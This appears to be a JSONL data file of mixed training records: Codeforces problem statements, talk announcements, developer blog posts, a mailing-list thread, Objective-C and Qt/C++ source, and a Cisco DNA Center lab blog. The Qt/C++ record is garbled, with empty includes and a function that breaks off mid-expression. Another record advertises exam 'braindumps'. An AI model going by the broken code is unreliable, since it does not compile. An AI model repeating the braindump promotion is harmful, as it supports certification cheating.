    {"text": "Friends are going to play console. They have two joysticks and only one charger for them. Initially first joystick is charged at a1 percent and second one is charged at a2 percent. You can connect charger to a joystick only at the beginning of each minute. In one minute joystick either discharges by 2 percent (if not connected to a charger) or charges by 1 percent (if connected to a charger).\n\nGame continues while both joysticks have a positive charge. Hence, if at the beginning of minute some joystick is charged by 1 percent, it has to be connected to a charger, otherwise the game stops. If some joystick completely discharges (its charge turns to 0), the game also stops.\n\nDetermine the maximum number of minutes that game can last. It is prohibited to pause the game, i. e. at each moment both joysticks should be enabled. It is allowed for joystick to be charged by more than 100 percent.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "Numbers $$$1, 2, 3, \\dots n$$$ (each integer from $$$1$$$ to $$$n$$$ once) are written on a board. In one operation you can erase any two numbers $$$a$$$ and $$$b$$$ from the board and write one integer $$$\\frac{a + b}{2}$$$ rounded up instead.\n\nYou should perform the given operation $$$n - 1$$$ times and make the resulting number that will be left on the board as small as possible.\n\nFor example, if $$$n = 4$$$, the following course of action is optimal:\n\n1. choose $$$a = 4$$$ and $$$b = 2$$$, so the new number is $$$3$$$, and the whiteboard contains $$$[1, 3, 3]$$$;\n2. choose $$$a = 3$$$ and $$$b = 3$$$, so the new number is $$$3$$$, and the whiteboard contains $$$[1, 3]$$$;\n3. choose $$$a = 1$$$ and $$$b = 3$$$, so the new number is $$$2$$$, and the whiteboard contains $$$[2]$$$.\n\nIt's easy to see that after $$$n - 1$$$ operations, there will be left only one number. Your goal is to minimize it.", "source": "cpt_codeforces", "language": "en", "token_count": 276, "token_count_with_eod": 277, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "אירועים והרצאות בפקולטה למדעי המחשב ע\"ש הנרי ומרילין טאוב\nTim Mattson (Senior principal engineer, Intel)\nיום חמישי, 26.01.2023, 10:30\nAmin Vahdat, in a talk that has gone viral, described the five epochs of distributed computing (https://www.youtube.com/watch?v=Am_itCzkaE0). It’s a great talk, but I disagree with him on one key point. He thinks we are early in the fifth Epoch. I say we entered the fifth Epoch several years ago and we are on the verge of the next Epoch … the sixth Epoch of distributed computing.\nIn this talk I will very briefly outline the five Epochs of distributed computing and then shift to the future and the sixth Epoch. This Epoch emerges when we bring next generation networking technology into our distributed computing systems so the time for one hop on the network is on par with the time for a memory reference in DRAM (Distributed Random Access Memory).\nThis innovation is coming in the not-too-distant future. It will fundamentally change how high-performance computing applications project into the cloud. We need to start thinking NOW about how we will develop software in the sixth Epoch. I will suggest one approach for programming in the sixth Epoch, but the ideas are speculative and therefore alternatives abound. To that end, I hope this talk launches an aggressive, and hopefully interesting, dialog about software development in the sixth epoch of distributed computing.\nBiography: Tim Mattson is a parallel programmer obsessed with every variety of science (Ph.D. Chemistry, UCSC, 1985). He is a senior principal engineer in Intel’s parallel computing lab. Tim has been with Intel since 1993 and has worked with brilliant people on great projects including: (1) the first TFLOP computer (ASCI Red), (2) MPI, OpenMP and OpenCL, (3) two different research processors (Intel's TFLOP chip and the 48 core SCC), (4) Data management systems (Polystore systems and Array-based storage engines), and (5) the GraphBLAS API for expressing graph algorithms as sparse linear algebra. Tim has well over 150 publications including five books on different aspects of parallel computing, the latest (Published November 2019) titled “The OpenMP Common Core: making OpenMP Simple Again”.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 514, "token_count_with_eod": 515, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "YouKn0wWho has an integer sequence $$$a_1, a_2, \\ldots, a_n$$$. He will perform the following operation until the sequence becomes empty: select an index $$$i$$$ such that $$$1 \\le i \\le |a|$$$ and $$$a_i$$$ is not divisible by $$$(i + 1)$$$, and erase this element from the sequence. Here $$$|a|$$$ is the length of sequence $$$a$$$ at the moment of operation. Note that the sequence $$$a$$$ changes and the next operation is performed on this changed sequence.\n\nFor example, if $$$a=[3,5,4,5]$$$, then he can select $$$i = 2$$$, because $$$a_2 = 5$$$ is not divisible by $$$i+1 = 3$$$. After this operation the sequence is $$$[3,4,5]$$$.\n\nHelp YouKn0wWho determine if it is possible to erase the whole sequence using the aforementioned operation.", "source": "cpt_codeforces", "language": "en", "token_count": 211, "token_count_with_eod": 212, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "We zien dat u de website vanuit Nederland bezoekt. Wilt u de website in het Nederlands bekijken?\nHit enter to search\nIn CastIt there are multiple channels you can control, with multiple players running even the same channel. You need a way to monitor all of this activity and that is what I was aiming to rebuild with the task. The control panel was already built using react. Great. What else? CastIt is mainly built in PHP but the part I am calling and pinging for information is node.js.\nSo I started with Angular 4, which I will refer as it is called - Angular. Now, a little intro about Angular. Its main purpose is to build SPA apps, unlike Vuejs which can be used for SPA but also for different application types. Soon, I realized it’s not enough to go through the official Angular documentation.\nThere is much more you need to learn in order to get started. After some reading I decided to move and change the development environment. I started using Visual Studio Code as the new development environment. There are many reasons for doing that. Its lighter, much faster and it has great TypeScript and Git support. Using Angular with VS Code required additional effort and learning. I had to install and learn a bit about Node.js, to use NPM, Webpack. First, you need to install Node.js and NPM. You also need Webpack – a module bundler which simplifies your work tremendously. Without it, it would be pure hell. So I started with Angular command line interface (cli) as the Angular documentation suggested and installed a new application, which in turn gave me a template that included built-in support for TypeScript, Webpack, Unit tests. TypeScript support seemed natural.\nAs for unit tests, template had the Karma and Jasmine unit tests preset. Unit tests launch in chrome browser, with visual feedback for each test. So it was very useful and convenient to use. Visual Studio Code offers autocompletion, F12, “ctrl + .” support which is Visual Studio like. So, that’s really cool. And what is best, after a while or better said right from the start, I realized TypeScript has many similarities with .NET object oriented programming, which I found to be a great feature. Its type safe and I find that as an important benefit (because of my .NET background). You can make and use interfaces, you have constructors. Another thing that I noticed was code separation, that is, the Angular template initial setup structures files in a way that it separates html, css and TypeScript. I find that as a big plus as you keep away business logic from the html/css part, which should not be concerned of it.\nModularity is one of major Angular features. When coding with Angular, it is all about organizing code into the buckets. Angular also introduces services, which are placed where you can write reusable business logic, extract and encapsulate unique repeatable functionality. Also it is notable that Angular strongly relies on dependency injection. It is implemented in a simple way, which is nice. Another benefit of all modularity, components and services is that, in terms of coding styles, Angular guides the developer how and where to write code.\nSome notes and ramblings. To reflect on Angular complexity. For example, animations do not seem like a great implementation by Angular – code syntax and results were way too difficult compared to yielded results – so in the end I abandoned using Angular animations. The situation is similar with pipes. Pipes are used to manipulate and transform data. Pretty weird term for what is usually called filtering. Actually it takes in data as input and transforms it to a desired output. In my case I needed channels table to be able to be sortable. Should not be complex, right?\nNo. So Angular uses pipes and for me that concept was kind of weird. It was like a separate piece that will not fit into the puzzle at all. Another note that adds to confusion is that Angular documentation suggest to use impure pipes with great care. If pipe is set as impure then they track changes and can easily leave an impact on the user experience, so be careful when you use it. It’s like, why have it simple when you can make it complex.\nThe syntax is also kinda inconsistent, you can write the same thing in several different ways. But make only one miss and it will not work, without any warnings. For example with pipes, arguments are separated with colons? Don’t know why. Syntax to do two way binding was unusual as well or transferring event data from one component to another parent/child component is not that natural as well. In the end I can’t escape the feeling that learning curve for Angular is just too steep and not backed up with enough docs. So it seems like too much of an effort at the end or better said an undocumented unfinished product (at the time of writing blog post).\nRegarding the syntax, some parts are pretty similar to Angular. I am referring to template syntax like v-for and *ngFor or v-if and *ngIf. One note though - Angular syntax is case sensitive. But there are some special cases with vue as well, like with html attributes, where camelCase property names are using its kebab-case html equivalent. Note, however, that I spent no more than 2 weeks working with it so I would not be surprised if I missed many features and details and that many of them have their alternatives. It's only that I did not have enough time to learn about them. For example, later I discovered that there is a vue template that adds support for TypeScript. That said, it means that the same object oriented feeling I got with Angular, can be achieved with vue using that template.\nStill we can say TypeScript is not there by default, so small advantage for Angular (in case you are into TypeScript as I am). I mean, TypeScript is not a 1st class citizen in vue. My final impression is still that Angular is more modular than vue. I also learned that, while Angular has all the functionalities you need within its framework, routing, state management, http, its validation, animations, … basically has everything under its umbrella, on the other hand, with vue I had to use some additional 3rd party libraries. For example, you don’t have built-in http/ajax support. Instead axios library is suggested as a 3rd party implementation. Even though it looks cool that you have it all when using Angular I could not find many downsides because of it. I can imagine it may cause some breaking changes over the time but Angular was prone to breaking changes within its sole framework too.\nWell, even though it was a positive experience while working with vue in general, there are some things which I normally did not like. For example, at least on first try, a vue project template uses mocha, karma and phantomjs as a browser for unit testing. And using phantomjs as a browser is not as nearly convenient as it is the case with the default Angular setup. Also debugging and stepping through the code in console did not work well too. For example, setting a breakpoint would not work for some specific lines. It seems it is related to source-map setting, but I was unable to resolve it in the short time I had available.\nWhich is the chosen one? On one side you have Angular backed up by Google. Still vuejs seems lighter and faster, not supported by giants but still has some notable implementations like for wizzair, euronews, alibaba, baidu, facebook newsfeed. Later I found out that vue is supported by the Chinese retail giant Alibaba. Still, because Angular is powered by Google it has bigger influence on the job market. So if you consider to sell your expertise as a developer, Angular might be better option at the moment of writing this.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1602, "token_count_with_eod": 1603, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "If you are a certified professional and eager to further polish your skills and advance your credential to further leap forward in your career, then must attempt IBM Certified Associate Certification Exam. As, the IBM considered as the ever growing career oriented vendor, who give a boost to your profession. The IBM Certified Associate certification exam is on top of the list and rapidly growing popularity among IT industry and Professionals. But the professionals are bit disinclined, because they don’t have enough time to spend on recommended books. But here is the good news for esteemed and potential candidates, now BraindumpsCollection is offering you the best solution, which helps you to resolve and pass the IBM Certified Associate Certification exam within a week.\nPass IBM Certified Associate Certification Exam on the First Try\nBraindumpsCollection provides you the best and valid braindumps Questions-Answers and practice tests for the preparation of IBM Certified Associate Certification exams. The practice valid braindumps are projected to offer you the multiple type of questions, which conceivably could be asked in your IBM Certified Associate Certification exam. The practice software is user friendly and real exam simulated, it makes you familiar with the actual exam questions.\nReduce your chances of Failure in IBM Certified Associate Certification Exam with BraindumpsCollection\nBraindumpsCollection gives you self assessment tools, which helps you to evaluate yourself. The interface of software is user-friendly The practice assessment tool for IBM Certified Associate, comprises of various self-assessment features like timed exams, randomize questions, multiple question types, test history and test scores, etc. You may change the mode of questions as per your competency level. This will prepare you for IBM Certified Associate valid braindumps.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 338, "token_count_with_eod": 339, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "//\n//  GGUserAgePickerView.h\n//  GGameParty\n//\n//  Created by Victor on 2018/8/5.\n//  Copyright © 2018年 Victor. All rights reserved.\n//\n\n#import \"GGPopupView.h\"\n\n@interface GGUserAgePickerView : GGPopupView\n\n@property (nonatomic, strong, readonly) UIPickerView *pickerView;\n@property (nonatomic, strong, readonly) UILabel *titleLabel;\n@property (nonatomic, strong, readonly) UIButton *saveButton;\n@property (nonatomic, strong, readonly) UIButton *cancelButton;\n\n@property (nonatomic, copy) void (^saveClickedBlock)(GGUserAgePickerView *pickerView);\n@property (nonatomic, copy) void (^cancelClickedBlock)(GGUserAgePickerView *pickerView);\n\n@property (nonatomic, strong, readonly) NSString *selectedTimeString;\n@property (nonatomic, assign, readonly) NSInteger selectedTimestamp;\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 201, "token_count_with_eod": 202, "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "This is the easy version of the problem. The difference between the versions is the constraint on $$$n$$$ and the required number of operations. You can make hacks only if all versions of the problem are solved.\n\nThere are two binary strings $$$a$$$ and $$$b$$$ of length $$$n$$$ (a binary string is a string consisting of symbols $$$0$$$ and $$$1$$$). In an operation, you select a prefix of $$$a$$$, and simultaneously invert the bits in the prefix ($$$0$$$ changes to $$$1$$$ and $$$1$$$ changes to $$$0$$$) and reverse the order of the bits in the prefix.\n\nFor example, if $$$a=001011$$$ and you select the prefix of length $$$3$$$, it becomes $$$011011$$$. Then if you select the entire string, it becomes $$$001001$$$.\n\nYour task is to transform the string $$$a$$$ into $$$b$$$ in at most $$$3n$$$ operations. It can be proved that it is always possible.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "Gamers and game publishers occupy Germany this week for Gamescom, the world's largest game convention, which hosts more than 200,000 attendees.\nTo kick off the week, both Microsoft and Sony held press conferences touting new titles and features for their respective consoles. Each had its own big exclusive games and shared releases to show off, so both press conferences were awash with new trailers.\nWe rounded up some of the most interesting videos from both companies below. They range in scope from smaller indie projects to multiplatform, triple-A games.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 115, "token_count_with_eod": 116, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "You are given an array $$$a$$$ consisting of $$$n$$$ positive integers. You can perform the following operation on it:\n\n1. Choose a pair of elements $$$a_i$$$ and $$$a_j$$$ ($$$1 \\le i, j \\le n$$$ and $$$i \\neq j$$$);\n2. Choose one of the divisors of the integer $$$a_i$$$, i.e., an integer $$$x$$$ such that $$$a_i \\bmod x = 0$$$;\n3. Replace $$$a_i$$$ with $$$\\frac{a_i}{x}$$$ and $$$a_j$$$ with $$$a_j \\cdot x$$$.\n\nFor example, let's consider the array $$$a$$$ = [$$$100, 2, 50, 10, 1$$$] with $$$5$$$ elements. Perform two operations on it:\n\n1. Choose $$$a_3 = 50$$$ and $$$a_2 = 2$$$, $$$x = 5$$$. Replace $$$a_3$$$ with $$$\\frac{a_3}{x} = \\frac{50}{5} = 10$$$, and $$$a_2$$$ with $$$a_2 \\cdot x = 2 \\cdot 5 = 10$$$. The resulting array is $$$a$$$ = [$$$100, 10, 10, 10, 1$$$];\n2. Choose $$$a_1 = 100$$$ and $$$a_5 = 1$$$, $$$x = 10$$$. Replace $$$a_1$$$ with $$$\\frac{a_1}{x} = \\frac{100}{10} = 10$$$, and $$$a_5$$$ with $$$a_5 \\cdot x = 1 \\cdot 10 = 10$$$. The resulting array is $$$a$$$ = [$$$10, 10, 10, 10, 10$$$].", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "You can quote anything, literally anything. Why wouldn't you be able to? The only caveat, if you can call it that, is that you can't necessarily 'write out the resulting code sexpr readably (for example, functions are not, as a rule, writable).\nThe only reason why you need to quote certain things at all is because the arc compiler is very picky about its input -- it cases on the type of the sexpr it's compiling, and if it doesn't recognize the type it throws an error -- but things inside a quotation escape this examination. If this weren't the case, and it instead just passed them through, then functions could be embedded directly instead of quoted; and everything (I think) other than symbols and lists evaluate to themselves in mzscheme.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 162, "token_count_with_eod": 163, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "The \"Coregistered GCP Movement Vector\" does not display the results of the offset tracking tool. It shows the shift of the slave image resulting the coregistration and was already created before the offset tracking.\nIf this is your velocity map, the red crosses indicate where the displacement vectors are located\nBut you are right, there is no longer a map element for the results:\nYou can however open the generated file velocity.csv (in the data folder > vector data) in a GIS and display it based on the attribute columns:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 110, "token_count_with_eod": 111, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "ICRA RoboMaster AI Challenge\nIn 2021, I participated in the ICRA RoboMaster AI Challenge as a member of the vision team. We won the champion team of China division and finally won the third international prize.\nDuring the competition, I was mainly responsible for the detection of the robot’s armors to be able to hit them precisely. To this end, I completed a set of armored plate detection algorithms based on TensorRT and yolov5, and deployed it on the NVIDIA edge computing device Jetson Xavier NX, which can achieve an inference rate of 640x480@80FPS.\nAt the same time, I was also in charge of the outpost camera detection part of the competition, and completed the observation of the global robots through PnP transformation and target detection network.\nThis year, as the team leader, I led the team to receive an A grade in the technical report, ranking 5/35, and we will compete in the final international competition on 5.23 in Shenzhen.\nA video of this competition is as below(on Youtube):\nRoboMaster University Sim2Real Challenge\nIn 2022, I participated in the RoboMaster University Sim2Real Challenge, its core allows participants to win points by rearranging minerals using fully automated RoboMaster EPs that have been modified officially. The match lasts for five minutes with a sim2real-based format, where robots rearrange minerals based on the information shown on the exchange tags to earn points. Participants will be ranked according to their total points won.\nI was responsible for the vision part of the competition, which consisted of identifying the ore exchange station labels [‘B’, ‘O’, ‘X’] and the ore labels [‘1’, ‘2’, ‘3’, ‘4’, ‘5’], which you can find in the corresponding label file here.\nDue to the existence of the template file, the solution I used was to\n- Threshold the image for binarization\n- Detect the contours in the image, and thus detect all quadrilaterals\n- Do PnP transformation of the image to orthographic view\n- Compare the ortho view with the template and filter the corresponding values according to the threshold\nAt the end of the simulation phase, we ranked 5/27 in the competition, part of the list is as follows, you can see the detailed list at here!\nChina Robotics Competition Advanced Vision Project - 3D Recognition Category\nIn 2022, we participated for the first time in the 3D recognition category of the China Robotics Competition’s advanced vision program, in which a 16-category target detection network was trained to recognize some everyday objects in life. At the same time, the hardware platform for the competition was limited to Jetson Nano (4GB) and Intel Realsense SR300.\nI used the Intel Realsense SDK in combination with the yolov5 network to complete the detection of the targets. The depth of Intel Realsense is used to solve the world coordinates of the target and then to filter the interference terms. I also used a socket to communicate with the referee system and a QT-based GUI interface.\nA simple TCP/IP protocol stack\nIn the computer networking pilot class, I implemented a simple TCP/IP protocol stack based on Libpcap. It implemented simple Ethernet protocol, ARP protocol, IP protocol, UDP protocol, and TCP protocol.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 713, "token_count_with_eod": 714, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "This task will exclusively concentrate only on the arrays where all elements equal 1 and/or 2.\n\nArray a is k-period if its length is divisible by k and there is such array b of length k, that a is represented by array b written exactly $$\\pi_{k}$$ times consecutively. In other words, array a is k-periodic, if it has period of length k.\n\nFor example, any array is n-periodic, where n is the array length. Array [2, 1, 2, 1, 2, 1] is at the same time 2-periodic and 6-periodic and array [1, 2, 1, 1, 2, 1, 1, 2, 1] is at the same time 3-periodic and 9-periodic.\n\nFor the given array a, consisting only of numbers one and two, find the minimum number of elements to change to make the array k-periodic. If the array already is k-periodic, then the required value equals 0.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "- property Mapdl.chain_commands¶\nChain several mapdl commands.\nCommands can be separated with\n\"$\"in MAPDL rather than with a line break, so you could send multiple commands to MAPDL with:\nThis method is merely a convenience context manager to allow for easy chaining of PyMAPDL commands to speed up sending commands to MAPDL.\nView the response from MAPDL with\n>>> with mapdl.chain_commands: mapdl.prep7() mapdl.k(1, 1, 2, 3)", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Séminaire de Mathieu Millan\n“On the relationships between plant architecture, ontogeny andecological functions in savanna woody species”\nOpen ecosystems, such as savannas, are shaped and maintained by disturbances, for example fire and herbivory. In such ecosystems, plants are exposed to regular biomass loss, preventing the regular course of growth. Thus, it is difficult to understand how they build their bodies, how and when they invest their biomass in their different parts, when they reach their flowering onset, and how their population dynamics works. As the growth process is often interrupted and altered, the use of size-related traits, such as classic plant height and stem diameter, has limited utility in understanding the processes involved in coping with disturbances. An alternative tool to size classes is the use of developmental stages,like seedling, sapling, adult, senescent, etc. In this presentation, I will show how plant architecture (whole plant approach based on morphogenetics and plant morphology) helps define such developmental stages (called ontogenetic stages) and how the developmental status of individuals mediates size-related trait scaling relationships. Additionally, I will discuss how it allows us to predict flowering thresholds (flowering onset and large flower production). I will then discuss the benefits of including plant development in functional ecology and how to incorporate this ontogenetic stage-based approachto improve our understanding of woody species population and community dynamics in open ecosystems.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 294, "token_count_with_eod": 295, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "On Wed, Jan 21, 2009 at 02:05:46PM +0100, Michael Rueger wrote:\nm Hi all,\n> What I would like to propose is that we organize all plugins in Pharo in\n> to a Plugin category.\n> So we would then have \"Plugin-Curl\", \"Plugin-Locale\" etc. Or\n> alternatively \"Plugin-Network-Curl\", \"Plugin-System-Locale\" etc.\n> That would also allow to simply load all plugins into a VMMaker image by\n> using a package \"Plugin\".\n> What do you guys think?\n+1 on a common naming convention for this.\nI would also like to suggest something to distinguish VM plugins\nfrom other kinds of \"plugins\". The reason is that the word \"Plugin\"\nis used to describe the web browser plugin, and maybe other things\nin the future. If we say \"VmPlugin\" or \"VMConstruction-Plugin-*\nthen the difference is clear.\nI checked an older Squeak image to remind myself of the original\nnaming convention, which was:\nSome older plugins that are maintained outside of the VMMaker\npackage already use this package naming convention, hence:\nThis still looks perfectly good to me, so how about just using\n\"VMConstruction-Plugins-*\" rather than \"Plugins-*\"?\nMichael Rueger proposed Plugin-* and Tests-*, so guess that\nthis would be:\nor is it \"Tests-VMConstruction-Plugins\" ?? I am not sure.\n(cc to vm-dev list)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 337, "token_count_with_eod": 338, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Killer Network Service Uninstall. I also disabled their analytics services tool and their wifi. Once it was done, i logged in like normal and noticed that it automatically downloaded a program called killer control center.\nIf the process is running, you will not be able to delete the file. This video a remake from the first video to show you how to uninstall the killer network program and also install the lan driver file.if you have windows 10. Go to your windows search bar.\nThe Killer Ethernet Driver Is A Qualcomm Driver.\nType in and go to apps & features. The file is a verisign signed file. I noticed that there was a new software suite with a driver update that did not auto install.\nWhen You Find The Program Killer Network Manager, Click It, And Then Do One Of The Following:\nSince this service is not a core windows file, it has little or no impact on your processes. Killer network manager suite version 220.127.116.117 by rivet networks from www.advanceduninstaller.com. The issue turned out to be the killer network card.\nI Want To Uninstall This Stuff But Don’t Want To Blow Anything Up.\nGo to your windows search bar. Open settings click on apps settings find killer network service and then uninstall the program So i only have the killer network service running.\nIt Has Killer™ E2200 Gaming Networks As One Of Its Features.\nI also disabled their analytics services tool and their wifi. 2.1 uninstalling killer network service on windows. I did some research on the program and it seems to be harmless.\nWe Worked With Killer And It Was Determined Their Software Is Unlikely To Be Responsible For Random Freezes On The Xps 8930.\nRemember to restart after performing these steps. It runs as background service killer network. Sign up for a new account in our community.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 399, "token_count_with_eod": 400, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nextern int (*processCallback_p)(int argc, const char ** argv);\n\nclass Thread : public QThread\n{\n    Q_OBJECT\n\n    int argc_;\n    const char ** argv_;\n\n    Thread( ) { }\npublic:\n    Thread( int argc, const char ** argv ) {argc_=argc;argv_=argv;};\n    ~Thread( ) { }\n\nsignals:\n    void finishedSignal();\n\nprotected:\n    void run() { processCallback_p(argc_,argv_); emit finishedSignal(); };\n};\n\n\nclass Process : public QProcess {\n    Q_OBJECT\n\n    QString tempName_;\n    QByteArray a_cb;\n    FILE * fm_cb;\n    char * m_cb;\n    size_t m_size_cb;\n    int saved_stdout = -1;\n\npublic:\n    Process(QObject *parent = 0) : QProcess(parent) { m_cb = NULL; m_size_cb = 0; fm_cb = NULL; }\n\n    Q_INVOKABLE void start(const QString &program, const QVariantList &arguments)\n    {\n        QStringList args;\n\n        for( int i = 0; i < arguments.length(); i++ )\n            args << arguments[i].toString();\n\n        if(processCallback_p != NULL)\n        {\n            //fprintf(stderr, \"starting callback\\n\");\n            QString tempName;\n            {\n                QTemporaryFile temp;\n                if (temp.open()) {\n                    tempName_ = temp.fileName() + \"2\";\n                }\n            }\n            char * tfn = oyjlStringCopy( tempName_.toUtf8().data(), malloc );\n            fm_cb = fopen( tfn, \"w+\" );\n            int mf_fd_cb = fileno(fm_cb);\n            int stdout_fd = fileno(stdout);\n            saved_stdout = dup(STDOUT_FILENO);\n            if(dup2( mf_fd_cb, stdout_fd ) == -1)\n            {\n              fprintf(stderr, \"mf_fd_cb: %d stdout_fd: %d %s\\n\", mf_fd_cb, stdout_fd, strerror(errno));\n            }\n\n            int count = arguments.length();\n            char ** argv = (char**) calloc( count+2, sizeof(char*) );\n            argv[0] = oyjlStringCopy( \"lib-call\", malloc );\n            for( int i = 0; i < count; ++i )\n              argv[1+i] = oyjlStringCopy( args[i].toUtf8(), malloc );\n\n            Thread * t = new Thread( 1+count, (const char**)argv );\n            connect( t, SIGNAL(finishedSignal()), this, SLOT( setData()));\n            t->start();\n            free(tfn);\n\n        } else\n          QProcess::start(program, args);\n    }\n\n    Q_INVOKABLE void waitForFinished()\n    {\n        QProcess::waitForFinished();\n    }\n\n    Q_INVOKABLE QByteArray readAll()\n    {\n        QByteArray a;\n        if(processCallback_p != NULL)\n        {\n            //fprintf(stderr, \"read callback %d\\n\", (int)a_cb.size());\n            a = a_cb;\n        } else\n            a = QProcess::readAllStandardOutput();\n        // test for PNG and convert to base64 for QML::Image::source Url\n        if(a.length() > 16 && (int)a[0] == -119 && (int)a[1] == 80 && (int)a[2] == 78 && (int)a[3] == 71 && (int)a[4] == 13 && (int)a[5] == 10 && (int)a[6] == 26 && (int)a[7] == 10)\n        {\n            QString s = QString(\"data:image/png;base64,\") + a.toBase64();\n            a = s.toUtf8();\n        }\n        // test for SVG\n        if(a.length() > 16)\n        {\n            QString t = a;\n            if(t.startsWith( \"\\n= 0)\n        dup2(saved_stdout, STDOUT_FILENO);\n      emit readChannelFinished();\n      free(cfn);\n    }\n};", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "Let's call an array $$$a$$$ of $$$n$$$ non-negative integers fancy if the following conditions hold:\n\n- at least one from the numbers $$$x$$$, $$$x + 1$$$, ..., $$$x+k-1$$$ appears in the array;\n- consecutive elements of the array differ by at most $$$k$$$ (i.e. $$$|a_i-a_{i-1}| \\le k$$$ for each $$$i \\in [2, n]$$$).\n\nYou are given $$$n$$$, $$$x$$$ and $$$k$$$. Your task is to calculate the number of fancy arrays of length $$$n$$$. Since the answer can be large, print it modulo $$$10^9+7$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 149, "token_count_with_eod": 150, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "I am starting to realize that the Unix command-line toolbox can fix absolutely any problem related to text wrangling. Let me tell you about a problem I had, and how I used some Unix command-line utilities to solve it.\nMarker is a command palette for the terminal. It lets you bookmark commands (or commands templates) and easily retreive them with the help of a real-time fuzzy matcher.\nNext Webbrowser with Keyboard Control and a Lisp Interface\nA curated list of Terminal frameworks, plugins & resources for CLI lovers.\nA complete text editor for your terminal.\nhypergit CLI for managing peer-to-peer git repositories\nmadonctl is a command line client for the Mastodon distributed social network API.\nxsv is a command line program for indexing, slicing, analyzing, splitting and joining CSV files.\nAnnouncing the Arduino Command Line Interface (CLI)\nBrowsh is a fully-modern text-based browser. It renders anything that a modern browser can\nmbsync - synchronize IMAP4 and Maildir mailboxes\na universal #text #document #converter\n. If you need to #convert\nfiles from one #markup\nformat into another, pandoc is your swiss-army knife. Pandoc can convert documents in (several dialects of) #Markdown\n, Emacs #OrgMode\n, Emacs #Muse\n, Microsoft #Word #docx\n, #LibreOffice #ODT\n, or #Haddock\nmarkup to ... many others\nPoezio is a free #console\nXMPP client (the protocol on which the Jabber IM network is built). Its goal is to let you connect very easily (no account creation needed) to the network and join various chatrooms, immediately. It tries to look like the most famous IRC clients (weechat, irssi, etc). Many commands are identical and you won't be lost if you already know these clients. Configuration can be made in a configuration file or directly from the client.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 408, "token_count_with_eod": 409, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "In this episode of our ongoing DNA Center Automation Series, our focus is on enabling telemetry to make full use of the Assurance capabilities within DNA Center. During this lab, we will discuss how to enable various feeds to DNA Center so as to ensure all aspects are enabled within the Assurance application. This enables you, the network administrator, the ability to use the Assurance application within DNA Center to fault find the network remediating client and application connectivity and experience issues. Additionally with Northbound integration to Service Now the ability to open incidents on that platform ensuring the service desk can help users in a timely manner. Please be aware that for full 365 views of devices, clients, and applications within DNA Center Advantage Licensing is a requirement.\nWithin this series, we cover the following;\n- PnP Preparation – explains the overall Plug and Play set up steps\n- Onboarding Templates – explains in-depth how to deploy Day 0 templates\n- Day N Templates – dives into Day N template constructs with both regular and composite templates and use cases\n- Application Policys – explores Application Policys and SD-AVC in DNAC and their use\n- Telemetry – explains how to deploy Telemetry for assurance\n- Advanced Automation – explores Advanced Automation techniques\n- Dynamic Automation – a deployment lab for dynamic automation\nThere are several considerations when consuming telemetry from the network. Some of those considerations are the following;\n- Total number of endpoints\n- Total number of network access devices\n- Size of DNA Center appliance in use\nWe will cover these aspects within this blog, leaving the lab solely for the enablement of telemetry.\nWhat will I learn in the Telemetry Lab?\nDNA Centers telemetry settings allow you to configure global network settings on devices for monitoring and assessing their health and the user and application experience across the network. During the lab, we will enable all the various remaining telemetry settings which are required for DNA Assurance. During the previous Onboarding Templates lab, we had enabled some of the required telemetry settings.\nWithin Cisco DNA Center, you can configure global network settings when devices are assigned to a specific site. Telemetry polls network devices and collects telemetry data according to these settings:\n- SNMP server\n- Syslog server\n- NetFlow Collector\n- Monitoring wired client\n- Enable Wireless Telemetry\nThe first two of these settings were configured during the Rest-API call in the Onboarding Templates lab.\nIt is important to understand that some networking devices have minimal allowed Netflow Collectors which can be configured. Should it be the case that you need additional flows to other servers or management devices, then you should incorporate a UDP Director in your design. The UDP Director will replicate a single incoming flow from any device to multiple management systems which require the feed.\nDNA Center Sizing\nIn the recent release of DNA Center we have increased the endpoint counts on the XL appliance and further to that have increased some of the device counts. To that end here is an updated graphic explaining the new sizing for DNA Center. The increases in the numbers of Endpoints, Network Devices, Flows, and Sites enables DNA Center to scale for large networks. That taken into consideration disparate locations based on round trip time allows us to comfortably size clusters to get the most out of Assurance.\nWith that, the lab covers these topics 